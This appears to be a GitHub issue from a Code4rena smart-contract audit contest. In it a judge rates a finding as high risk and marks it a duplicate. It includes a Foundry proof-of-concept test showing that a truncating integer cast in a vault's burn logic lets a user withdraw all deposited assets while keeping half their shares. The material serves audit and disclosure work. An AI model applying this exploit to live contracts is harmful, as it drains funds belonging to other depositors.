Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Upgraded Q -> 3 from #264 [1691857350267] #480

Closed
c4-judge opened this issue Aug 12, 2023 · 2 comments
Closed

Upgraded Q -> 3 from #264 [1691857350267] #480

c4-judge opened this issue Aug 12, 2023 · 2 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly duplicate-439 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-judge
Copy link
Contributor

Judge has assessed an item in Issue #264 as 3 risk. The relevant finding follows:

Let's see how it can be exploited. You can add this test to Withdraw.t.sol and run with forge test -vv --match-contract VaultWithdrawTest --match-test testWithdrawAllAssetsForHalfShares:

function testWithdrawAllAssetsForHalfShares() external {
vm.startPrank(alice);

// Alice deposits type(uint96).max amount of assets
uint256 _amount =  uint256(type(uint96).max);
underlyingAsset.mint(alice, _amount);
_deposit(underlyingAsset, vault, _amount, alice);
console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950335

// Alice again deposits type(uint96).max amount of assets
underlyingAsset.mint(alice, _amount);
_deposit(underlyingAsset, vault, _amount, alice);
console2.log("shares", vault.balanceOf(alice)); // shares 158456325028528675187087900670

// Alice withdraws max possible amount of assets
vault.withdraw(vault.maxWithdraw(alice), alice, alice);
// Alice receives all assets
console2.log("assets", underlyingAsset.balanceOf(alice)); // assets 158456325028528675187087900670
// Alice still has a half of shares amount
console2.log("shares", vault.balanceOf(alice)); // shares 79228162514264337593543950336

// Due to rounding we should extract `1` from balance
assertEq(vault.balanceOf(alice) - 1, type(uint96).max);
assertEq(underlyingAsset.balanceOf(alice), _amount * 2);

vm.stopPrank();

}
Users can have balances more than type(uint96).max because of uint112 in the field balance of AccountDetails struct.
But burning from their balances will be only for amounts less than type(uint96).max because of bits cut off during type conversion in the _burn.

@c4-judge c4-judge added the 3 (High Risk) Assets can be stolen/lost/compromised directly label Aug 12, 2023
@c4-judge
Copy link
Contributor Author

Picodes marked the issue as duplicate of #439

@c4-judge
Copy link
Contributor Author

Picodes marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Aug 12, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly duplicate-439 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

1 participant